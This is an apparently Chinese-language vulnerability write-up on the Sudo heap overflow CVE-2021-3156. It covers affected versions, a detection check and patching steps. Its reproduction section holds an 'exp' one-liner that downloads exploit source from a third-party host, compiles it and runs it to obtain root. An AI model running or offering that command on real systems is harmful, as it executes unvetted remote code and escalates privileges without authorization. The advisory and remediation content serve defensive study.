0x00 漏洞描述
Sudo是一个功能强大的实用程序,大多数基于Unix和Linux的操作系统都包含Sudo。它允许用户使用其他用户的安全特权运行程序。2021年1月27日,国外安全研究人员披露了Sudo 堆缓冲区溢出致本地提权漏洞,漏洞编号为 CVE-2021-3156。任何本地用户(包括普通用户和系统用户,sudoer和非sudoers)若成功利用该漏洞,可在无需密码的情况下获得root权限。
0x01 影响版本
Sudo 1.9.0 到 1.9.5p1 所有稳定版(默认配置)
Sudo 1.8.2 到 1.8.31p2 所有旧版本(默认配置)
0x02 漏洞复现
我用Ubuntu进行的漏洞复现,非root用户。
进行漏洞检测,输入:sudoedit -s /
- 若返回以“ sudoedit:”开头的错误,则存在漏洞。
- 若返回以“ usage:”开头的错误,则不受影响
可以看到我这里的回显,说明是存在漏洞的:
exp:
mkdir CVE-2021-3156 && cd CVE-2021-3156/ && wget www.itznxh.com/CVE-2021-3156/hax.c && wget www.itznxh.com/CVE-2021-3156/lib.c &&wget www.itznxh.com/CVE-2021-3156/Makefile && make &&./sudo-hax-me-a-sandwich 0
0x03 漏洞修复
- 下载最新版本sudo软件tar包:
wget https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz
- 解压:
tar zxvf sudo-1.9.5p2.tar.gz
- 执行编译命令:
./configure --prefix=/usr --libexecdir=/usr/lib --with-secure-path --with-all-insults --with-env-editor --docdir=/usr/share/doc/sudo-1.9.5p2 --with-passprompt="[sudo] password for %p: " && make && make install && ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0